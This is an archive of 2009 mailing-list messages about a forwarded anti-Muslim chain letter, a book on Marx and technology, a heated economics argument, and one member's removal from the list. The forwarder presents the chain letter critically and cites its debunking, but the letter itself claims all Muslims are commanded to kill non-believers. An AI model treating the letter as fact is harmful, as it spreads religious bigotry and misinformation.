ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n55L7J0a019120; Fri, 5 Jun 2009 14:07:19 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n55L7FxJ019103; Fri, 5 Jun 2009 14:07:15 -0700 Resent-Date: Fri, 5 Jun 2009 14:07:15 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=bAhSOwKDHXywZDf42HlE+3Ow8t1cBwdcaYLPM3sirQE=; b=VfTK/m9iI5iUNrfKnMBEwtwOEYwcCgG5D0sRNfdsUjZEEBMSV0a4xbPYAlUCNcrU5h FiL1XZq0eC+4RIWd9AQ8Laa6ZuWssCoPa0ap4x38BGyiV9L5n63FUdqaFKt7nO/WHUjk OwAO8b+Ccu1drwXIvdGxfqta1KA3pnKBCsCVw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=p2SxvFkDROYv3VoDKg1kRptnpaDrcT3SO09QLlZAkOJw0IkZf7SGiOiTG7u66zR685 FXgY/TkgG18vNbkJ8G2V0GmohndnkglL/syFMX/Koa+6CW6L/gx5FihnFTbXN7Es7Ip3 c0Y1sHki4jqhWZBtep/ibumL4dXlBe/RjKpas= MIME-Version: 1.0 In-Reply-To: References: <200906051611.n55GBBYA015719@mail42.atl.registeredsite.com> Date: Fri, 5 Jun 2009 14:07:09 -0700 Message-ID: From: leaking pen To: vortexb-l Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4333 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Fwd: [Vo]:Shanahan goes off the deep end! -- The psychology of bigotry Status: RO X-Status: X-Keywords: X-UID: 575 A church i attended until 2003 lost me due to their special "christmas offering project" A project to pay to translate the holy bible into arabic (well, a couple selected sections. Leviticus, parts of psalms, genesis, two of the gospels, and some of the letters from new testament. all the parts fundamentalists love talking about , basically) and distribute in iran and iraq, making statments that they dont have bibles in order to know any better, the poor savages, and suggesting that it would be a dangerous project because the bible was outlawed and they could be killed for trying to bring them the good word (which is bogus as well) ---------- Forwarded message ---------- From: OrionWorks Date: Fri, Jun 5, 2009 at 10:16 AM Subject: Re: [Vo]:Shanahan goes off the deep end! -- The psychology of bigo= try To: vortex-l >From Lawrence de Bivort: > Some 'substitutes' for racial bigotries come readily to > mind: anti-Muslim (from evangelical Christians and current > American society); anti-Semitism (eg from the Nazis); > anti-Palestinians (from Israelis). Perhaps anti-Liberals? I have a perfect example of anti-Mulsim hatred disguised as Christian piety, retrieved from a private group list that I somehow managed to get "included" in. (Don't ask me how this came about!) I actually received the following "true" letter twice approximately a year apart, so it would seem that my original objections were ignored - or overruled. What absolutely astonished me was the incredible amount of arrogance and "scripting" the original author displayed in how he characterized the behavior of "the Imam". In just a couple of sentences it is alleged that the Christian minister was capable of reducing the Imam's religious ideology to shreds. That's one for the Christians, and =A0zero for the Muslims! For those curious I recommend browsing www.snopes.com, for a run down on similar internet rumors, including the source of this viral letter that continues to circulate through the internet like a virulent case of Swine-flu: See http://www.snopes.com/politics/religion/allah.asp And now, for your entertainment, the so-called Christian letter of pious "enlightenment": ------------- Allah or Jesus? Last month I attended my annual training session that's required for maintaining my state prison security clearance. During the training session there was a presentation by three speakers who represented the Roman Catholic, Protestant and Muslim faiths who explained their belief systems. I was particularly interested in what the Islamic Imam had to say. The Imam gave a great presentation of the basics of Islam complete with a video. After the presentations time was provided for questions and answers. When it was my turn I directed my question to the Imam and asked: "Please, correct me if I'm wrong, but I understand that all of the Imams and clerics of Islam have declared a holy jihad [Holy war] against the infidels of the world. And, that by killing an infidel, which is a command to al Muslims, they are assured of a place in heaven. If that's the case, can you give me the definition of an infidel?" There was no disagreement with my statements and without hesitation he replied, "non-believers!" I responded, "so, let me make sure I have this straight. All followers of Allah have been commanded to kill everyone who is not of your faith so they can go to heaven. Is that correct?" The expression on his face changed from authority and command to that of a little boy who had just gotten caught with his hand in the cookie jar. He sheepishly replied, "Yes." I then said, "Well, sir, I have a real problem trying to imagine Pop John Paul command all Catholics to kill those of your faith or Pat Robertson, or Dr. Stanley ordering Protestants to do the same in order to go to heaven." The Imam was Speechless. I continue, "I also have a problem with being your friend when you and your brother clerics are telling your followers to kill me. Let me ask you a question ... would you rather have your Allah who tell[s] you to kill me in order to go to heaven or my Jesus who tells me to love you because I am going to heaven and wants you to be with me" You could have heard a pin drop as the Imam hung his head in shame. Chuck Colson once told me something that has sustained me for 20 years of prison ministry. He said to me, "Rick, remember that the truth wil prevail." And it will! ------------- Regards Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks From vortexb-l-request@eskimo.com Sun Jun 7 09:36:24 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n57GaJRD010726; Sun, 7 Jun 2009 09:36:19 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n57GaF7R010710; Sun, 7 Jun 2009 09:36:15 -0700 Resent-Date: Sun, 7 Jun 2009 09:36:15 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-POP-User: cen02900.centurytel.net Sender: jack@mail958c35.nsolutionszone.com Message-ID: <4A2BE9D8.4C80E416@centurytel.net> Date: Sun, 07 Jun 2009 16:24:56 +0000 From: "Taylor J. Smith" X-Mailer: Mozilla 3.0C-Caldera (X11; I; Linux 2.2.5-15 i486) MIME-Version: 1.0 To: vortexb-l@eskimo.com References: <200906051611.n55GBBYA015719@mail42.atl.registeredsite.com> Content-Type: text/plain; charset=us-ascii; name="xm" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="xm" Resent-Message-ID: <9gzhcC.A.JnC._x-KKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4334 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:politics and technology Status: O X-Status: X-Keywords: X-UID: 576 Hi All, 6-7-09 Here is some interesting material on politics and technology. Jack Smith http://search.barnesandnoble.com/Karl-Marx-on-Technology-and-Alienation/Amy-Wendling/e/9780230224407 ``'Karl Marx on Technology and Alienation' by Amy Wendling Publisher: Palgrave Macmillan Pub. Date: April 2009 ISBN-13: 9780230224407 272pp AMY E. WENDLING is Assistant Professor of Philosophy at Creighton University in Omaha. Table of Contents Introduction Karl Marxs Concept of Alienation Machines and the Transformation of Work Machines in the Communist Future Machines in the Capitalist Reality Alienation Beyond Marx Notes References Index'' --------------------- http://www.creightonian.com/Print.php?IssueTN=033136-03-2009-8336&NewsID=833 Kyle O'Reilly, News Reporter, March 27, 2009 ``Marx "the bad beast" no longer ... Marx"s writings on man's relation to technology and some of his economic writings have become increasingly popular around the world, especially due to the current economic climate ... Amy Wendling has just published a book that offers a new perspective on Karl Marx and his theories on the political connotations of technology. The book is titled "Karl Marx on Technology and Alienation." ... Wendling said that one of her reasons for writing the book is that Marx"s views on technology have been routinely misinterpreted as too negative. "Normally, his theory of alienation is machines can render our work dull and negative and repetitive, but if you read his whole work, it's only capitalism that causes machines being agents of oppression," Wendling said ... "Marx is thought of more as a government philosopher when he really is good with technology. He understands that technology is not politically neutral but shaped by capitalist forces," Wendling said ... She said the goal of capitalist technologies is to isolate people and control their attention like a big screen TV in a room full of people. The Apple iPod is another example Wendling gave that shows capitalism's influence on technology. "One of its functions is to isolate us from the social situations around us that we could be enjoying," Wendling said. "It turns music into a solitary thing. It takes away the social aspects." As a counter to capitalist technologies that emphasize isolation, Wendling gave examples such as public transportation ... Capitalism also causes society to devalue certain essentials and place too much emphasis on pointless or superficial technologies. "There are these absurdities to how capitalism devalues resources like water while high-pricing diamonds," Wendling said. "Or tortillas, which are a necessary part of life in some parts of the world, are valued very low, and nano-machines are valued very high." Wendling also pointed out Marx"s relevancy to modern society in his definitions of labor. "We tend to imagine more and more of our activities as labor," Wendling said. "It becomes a black hole of a concept. We also tend not to regard our labor as fulfilling. So any time we"re laboring we tend to be miserable." ...'' ------------------- http://www.creighton.edu/publicrelations/newscenter/news/2009/march2009/march192009/wendling_book_nr031809/index.php ``Book by Creighton University Philosophy Professor Offers New Look at Karl Marx A new book by Amy Wendling, Ph.D., Creighton University assistant professor of Philosophy, offers a new interpretation of philosopher Karl Marx's concept of alienation. The book is titled "Karl Marx on Technology and Alienation," published by Palgrave Macmillan ... In today's economy, according to Wendling, it is fair to ask whether what Karl Marx called false class consciousness has become the rule rather than the exception. Marx's theory of alienation is based upon his observation that, while offering the illusion of freedom, capitalism really causes workers to lose control of their lives, work, and selves. Wendling, who grew up in the natural gas-exploration community of Houston, in the 1980s and now lives in ethanol-rich Nebraska said, "I am struck by how the capitalist use of technology in the production of commodities like natural gas and ethanol is unsustainable, self-defeating, and destructive, for those at the top of social class hierarchies as well as for those at the bottom." ...'' --------------- http://www.marxandphilosophy.org.uk/abst2008.htm by Amy Wendling (Creighton) ``The Strife between Technology and Capital: Machines in the Communist Future Marx's excerpt notebooks from the 1850s show how he built his ideas about the role machinery might play in a liberated social world. In his Grundrisse (1857-8) and the Economic Manuscripts of 1861-3, Marx develops the insights from these notebooks into a theory of how machinery could be used to produce material wealth and decrease the time spent performing alienating labor, founding the material substrate of a liberated society. I explore the historical construction of the notions of nature and machinery with which Marx begins. I then explore what Marx means by material wealth as opposed to value, what he means by suggesting that we treat "man himself as fixed capital,"(1973, 712; MECW 1987, 29, 97; MEGA2 II, 2, 1.2, 589) and the consequences of this new mode of valuation for the use of technology in a liberated society. Rather than simply advancing technology, I suggest that capitalism simultaneously acts as a fetter on technological development, hobbling especially those technological developments that undermine the human-labor based value system. [Amy Wendling also writes: "Since capitalism values maximizing profit at all costs, it becomes wedded to technological infrastructures that are already in place, such as fossil fuels."] ... From vortexb-l-request@eskimo.com Sun Jun 7 15:15:07 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n57MF4v3021707; Sun, 7 Jun 2009 15:15:04 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n57MF3fX021701; Sun, 7 Jun 2009 15:15:03 -0700 Resent-Date: Sun, 7 Jun 2009 15:15:03 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 7 Jun 2009 15:14:56 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:politics and technology Message-ID: <20090607221456.GA17058@shell.resist.ca> Reply-To: grok@resist.ca References: <200906051611.n55GBBYA015719@mail42.atl.registeredsite.com> <4A2BE9D8.4C80E416@centurytel.net> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <4A2BE9D8.4C80E416@centurytel.net> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: General Michael Moseley, Cap-Stun, AA-11, Russian Mediterranean naval group, Aurora User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4335 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 577 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > ``Marx "the bad beast" no longer Can only be seen as such by those with a narrow-minded pro-bourgeois mentality. And for that matter: we ALL know that Fred Flintstone, and all those Third World slave-labor production workers -- and George Jetson for that matter -- were/are/ will be capitalists thru and thru, from the Dawn of Man to the End Times. (giggle) - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkosO+AACgkQXo3EtEYbt3F1wQCfRtJqoC3FY6N41Hl+ti4QpCiP hjYAnAkGVJyHtA4fD/Be57HaJkA7Sqae =LEKi -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jun 7 15:59:47 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n57Mxjes011992; Sun, 7 Jun 2009 15:59:45 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n57Mxicq011982; Sun, 7 Jun 2009 15:59:44 -0700 Resent-Date: Sun, 7 Jun 2009 15:59:44 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=wMHr0o73UVh7iLTSIuHI7Hb0hDpnlS9BRcneg9Or5EU=; b=OxYdWBRfxkvOewPwCswt3/IEJLcOLR7mikeYNCABpNqZHafNFbaSMfdCR08fvLmfnX IiUnqPwNZPjDWrdZs5RROu5kcKZeXuRAmhqqhB3p7k4ZqeAV9i8FH1UkmmMkN/5NbVAs EBwu4Feob2jzDAovPozCBXYKR+W9PXSaIQHvg= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=Y7YEwBLL1Be1l0JWltyyQMzh8cM7eUAlK8TCgRcqKdHXK6t1PF4YvbJHtEabUHjg+M gm6Iwko3q38RXU8DrUAFG5GgJfj8FFSCmZG7vsSHnSSNBTaS3Ej+iDrEC4zHNyiaPkD9 xdiqCdL5wMY8wQIVvGmmwcDr3SnzZX1xajPHc= MIME-Version: 1.0 In-Reply-To: <4A2BE9D8.4C80E416@centurytel.net> References: <200906051611.n55GBBYA015719@mail42.atl.registeredsite.com> <4A2BE9D8.4C80E416@centurytel.net> From: Charles HOPE Date: Sun, 7 Jun 2009 18:59:23 -0400 Message-ID: <63ffa6020906071559j49eede5en13ae9d8e204403f7@mail.gmail.com> Subject: Re: [VoB]:politics and technology To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0016e65097fec9a7e7046bca1415 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4336 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 578 --0016e65097fec9a7e7046bca1415 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable What a revolting book. On Sun, Jun 7, 2009 at 12:24 PM, Taylor J. Smith wrot= e: > > "Normally, his theory of alienation is machines can render > our work dull and negative and repetitive, but if you read > his whole work, it's only capitalism that causes machines > being agents of oppression," Wendling said ... Had Marx ever seen any alternative to capitalism, or was he talking out of his flute? > "One of its functions is to isolate us from the social > situations around us that we could be enjoying," Wendling > said. "It turns music into a solitary thing. It takes away > the social aspects." Apparently millions of consumers like isolated music just fine. Do their desires matter to Wendling? > "There are these absurdities to how capitalism devalues > resources like water while high-pricing diamonds," > Wendling said. "Or tortillas, which are a necessary part > of life in some parts of the world, are valued very low, > and nano-machines are valued very high." Price reflects demand -- not the other way around. Classic reification. > > "We tend to imagine more and more of our activities as > labor," Wendling said. > "It becomes a black hole of a concept. We also tend not to > regard our labor as fulfilling. So any time we"re laboring > we tend to be miserable." ...'' She should speak for herself. I found fulfillment earning $5.50 as a foot messenger, and working in a copy shop. --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0016e65097fec9a7e7046bca1415 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable What a revolting book.

On Sun, Jun 7, 200= 9 at 12:24 PM, Taylor J. Smith <tjs11@centurytel.net> wrote:

"Normally, his theory of alienation is machines can render
our work dull and negative and repetitive, but if you read
his whole work, it's only capitalism that causes machines
being agents of oppression," Wendling said ...

Ha= d Marx ever seen any alternative to capitalism, or was he talking out of hi= s flute?


"One of its functions is to isolate us from the social
situations around us that we could be enjoying," Wendling
said. "It turns music into a solitary thing. It takes away
the social aspects."


Apparently millions of c= onsumers like isolated music just fine. Do their desires matter to Wendling= ?
=A0


"There are these absurdities to how capitalism devalues
resources like water while high-pricing diamonds,"
Wendling said. "Or tortillas, which are a necessary part
of life in some parts of the world, are valued very low,
and nano-machines are valued very high."

Price re= flects demand -- not the other way around. Classic reification.
=A0
<= /div>

"We tend to imagine more and more of our activities as
labor," Wendling said.
"It becomes a black hole of a concept. We also tend not to
regard our labor as fulfilling. So any time we"re laboring
we tend to be miserable." ...''


She s= hould speak for herself. I found fulfillment earning $5.50 as a foot messen= ger, and working in a copy shop.
=A0

--
Never did I see a second sun
Never did my skin touch a land of gl= ass
Never did my rifle point but true
But in a land empty of enemies<= br>Waiting for the tick-tick-tick of the want
A uranium angel
Crying = =93behold,=94
This land that knew fire is yours
Taken from Corruption
To begin anew=
--0016e65097fec9a7e7046bca1415-- From vortexb-l-request@eskimo.com Sun Jun 7 16:25:30 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n57NPRgV028616; Sun, 7 Jun 2009 16:25:27 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n57NPRTK028610; Sun, 7 Jun 2009 16:25:27 -0700 Resent-Date: Sun, 7 Jun 2009 16:25:27 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 7 Jun 2009 16:25:14 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:politics and technology Message-ID: <20090607232514.GG17058@shell.resist.ca> Reply-To: grok@resist.ca References: <200906051611.n55GBBYA015719@mail42.atl.registeredsite.com> <4A2BE9D8.4C80E416@centurytel.net> <63ffa6020906071559j49eede5en13ae9d8e204403f7@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <63ffa6020906071559j49eede5en13ae9d8e204403f7@mail.gmail.com> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: General Michael Moseley, Cap-Stun, AA-11, Russian Mediterranean naval group, Aurora User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4337 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 579 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Charles HOPE mounted the barricade and roared out: > Had Marx ever seen any alternative to capitalism, or was he talking out of > his flute? What kind of stupid question is that? > > "One of its functions is to isolate us from the social > > situations around us that we could be enjoying," Wendling > > said. "It turns music into a solitary thing. It takes away > > the social aspects." > > > > Apparently millions of consumers like isolated music just fine. Do their > desires matter to Wendling? Then apparently the boundless pathology of U.S. (and World) "consumer" society has escaped you. > > "There are these absurdities to how capitalism devalues > > resources like water while high-pricing diamonds," > > Wendling said. "Or tortillas, which are a necessary part > > of life in some parts of the world, are valued very low, > > and nano-machines are valued very high." > > > Price reflects demand -- not the other way around. Classic reification. Classic delusion. You still don't get that price reflects a demand based on real values which change much more slowly over time, given other factors. > > "We tend to imagine more and more of our activities as > > labor," Wendling said. > > "It becomes a black hole of a concept. We also tend not to > > regard our labor as fulfilling. So any time we"re laboring > > we tend to be miserable." ...'' > > > > She should speak for herself. I found fulfillment earning $5.50 as a foot > messenger, and working in a copy shop. And you indeed should speak only for yourself. It's a wide, wide world out there, full of misery -- a state of affairs aided and abetted by a minority like yourself. No hope of change here. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkosTFoACgkQXo3EtEYbt3FxCgCbBU4CzTd5mY9ad2/OuMsAUWfT YI4AoObkUna/azrPAeQsdMPbXW0c1KXA =3aad -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Sun Jun 7 22:26:28 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n585QO9G012092; Sun, 7 Jun 2009 22:26:24 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n585QNcX012081; Sun, 7 Jun 2009 22:26:23 -0700 Resent-Date: Sun, 7 Jun 2009 22:26:23 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: Harry Veeder To: vortexb-l@eskimo.com Message-ID: <3ff54b3f8d48.3f8d483ff54b@ncf.ca> Date: Mon, 08 Jun 2009 01:26:19 -0400 X-Mailer: iPlanet Messenger Express 5.2 Patch 2 (built Jul 14 2004) MIME-Version: 1.0 Content-Language: en Subject: Re: [VoB]:politics and technology X-Accept-Language: en Priority: normal Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4338 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 580 ----- Original Message ----- From: grok Date: Sunday, June 7, 2009 7:25 pm Subject: Re: [VoB]:politics and technology > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > > As the smoke cleared, Charles HOPE > mounted the barricade and roared out: > > > > > > Price reflects demand -- not the other way around. Classic > > reification. > Classic delusion. You still don't get that price reflects a demand > based on real > values which change much more slowly over time, given other factors. > I thought prices reflect a balance between supply and demand. Harry From vortexb-l-request@eskimo.com Sun Jun 7 23:17:33 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n586HTuj030777; Sun, 7 Jun 2009 23:17:30 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n586HTAw030729; Sun, 7 Jun 2009 23:17:29 -0700 Resent-Date: Sun, 7 Jun 2009 23:17:29 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Sun, 7 Jun 2009 23:17:18 -0700 From: grok To: Mark S Bilk Cc: vortexb-l@eskimo.com Message-ID: <20090608061718.GA20265@shell.resist.ca> Reply-To: grok@resist.ca References: <3fd9493facb0.3facb03fd949@ncf.ca> <20090608044511.GA29614@Isis> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <20090608044511.GA29614@Isis> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: Jasmine, Air-to-Air, LAW, roadside bomb, SA-10b User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4339 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: [Vo]:grok is removed temporarily Status: RO X-Status: X-Keywords: X-UID: 581 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 As the smoke cleared, Mark S Bilk mounted the barricade and roared out: > I should have stood up for Grok, because his comments > (at least the ones I read) were accurate, but I was > busy at the time. Grok, I'm sorry I let you down. > Folks, see my website for evidence that supports > Grok's political/economic analysis: > > http://www.cosmicpenguin.com/ That's quite alright, Mark. This is all par for the course in the NATO Imperium. It's a rigged game -- waddya gonna do..? ;> > I think he (and everyone else) should be allowed > unrestricted posting to the VoB list (except for > commercial spam, of course). If we've all been > subscribed to it all along, then no one has been > using it except very recently, so it may as well be > used freely for so-called "off topic" messages. > Actually, unless people develop a lot more awareness > of what's going on politically and economically, > and join the struggle against the very greedy and > evil ones that control our world, we're all in for > a very bad time. So Grok's messages really aren't > "off topic", but if some people don't want to see > them, then his posting them to the B list seems > like an excellent solution, because those who > don't want to see them can unsubscribe from it. > > Bill, please reinstate Grok under the sole condition > that he post non-scientific messages only to the > B list. Beaty banned me from the "A" list. I'm still here on the "B" one. But I want to reiterate that this all started off with me simply replying to egregious Reichwing trashtalk on vortex-l -- and then the others simply not accepting what I said, whatsoever. That I even had a RIGHT to say it (in your free country, etc., etc., yadda). Usual stuff. It escalated, of course, with me not backing down -- as they assumed was the only way real fyzix worx in their little politikal universe. Beaty makes the point of all gatekeepers to cosy little clubs: that I, as a newcomer, haven't earned enuff "brownie points" to be able to add what I think to this rather regular fare on vortex-l... So what to do about that, eh? Short of the majority there getting a clue -- highly unlikely, short of their little worlds turning upside down in the near future -- it's inevitable that I would run afoul of the vortex Thought Police again and again. > As to requiring him to reveal his identity, as Harry > says, that's unfair unless it's demanded of everyone. > As for apologizing... that's too close to the way > the Catholic Church treated Galileo, demanding that > he recant. The ironies simply astound -- all the more that so many of these people don't/won't get it. But this is U.S./brit/anglo kultur, after all. And like I said -- all they have to do is ask the secret police for my identity. And maybe some of them already have, at that. Of course, that line is just another veiled ad hominem, intended to distract from the issue at hand. Truly shameless, some of these people. I wouldn't give them a dime, if I was anybody. > Grok, I'm putting you on my personal mailing list. > If you have one, please put me on it. > > Mark Sure thing, kompa. ;P > On Sun, Jun 07, 2009 at 11:27:41PM -0400, Harry Veeder wrote: > > > >----- Original Message ----- > >From: William Beaty > >Date: Sunday, June 7, 2009 10:30 pm > >Subject: Re: [Vo]:grok is removed temporarily > > > >> On Fri, 5 Jun 2009, William Beaty wrote: > >> > >> > To resubscribe, I require that he apologize for his off-topic > >> postings,> reveal his identity, and promise to eliminate all > >> political commentary. > >> > >> Grok said no thanks, to the above. > > > >I am not sure why he should apologize for his off-topic postings, > >since the occasional off topic postings are permitted as long they > >include the label 'Off-Topic' or 'OT' in the header. > > > >If you expect him to reveal his true identity then that should be > >written in the rules. > > > >If the political commentary incorporates *personal* insults, instead of > >responding in kind or challenging the commentary, the insult should > >first be pointed out to the moderator. > >Harry - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkosrO4ACgkQXo3EtEYbt3FdsgCgviJHRxG44DIUEwO9JJ11PDt5 dScAoOP4alSjY8055YlBRgkX5+RLZbTG =5njh -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Mon Jun 8 01:29:49 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n588TlUm027336; Mon, 8 Jun 2009 01:29:47 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n588Tl4G027326; Mon, 8 Jun 2009 01:29:47 -0700 Resent-Date: Mon, 8 Jun 2009 01:29:46 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Mon, 8 Jun 2009 01:29:41 -0700 From: Mark S Bilk To: vortex-l@eskimo.com Cc: vortexb-l@eskimo.com Message-ID: <20090608082941.GC29614@Isis> References: <3fd9493facb0.3facb03fd949@ncf.ca> <3D5A832CD18E42AEA658EAD84F14F985@p4> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <3D5A832CD18E42AEA658EAD84F14F985@p4> Organization: http://www.cosmicpenguin.com/911 User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4340 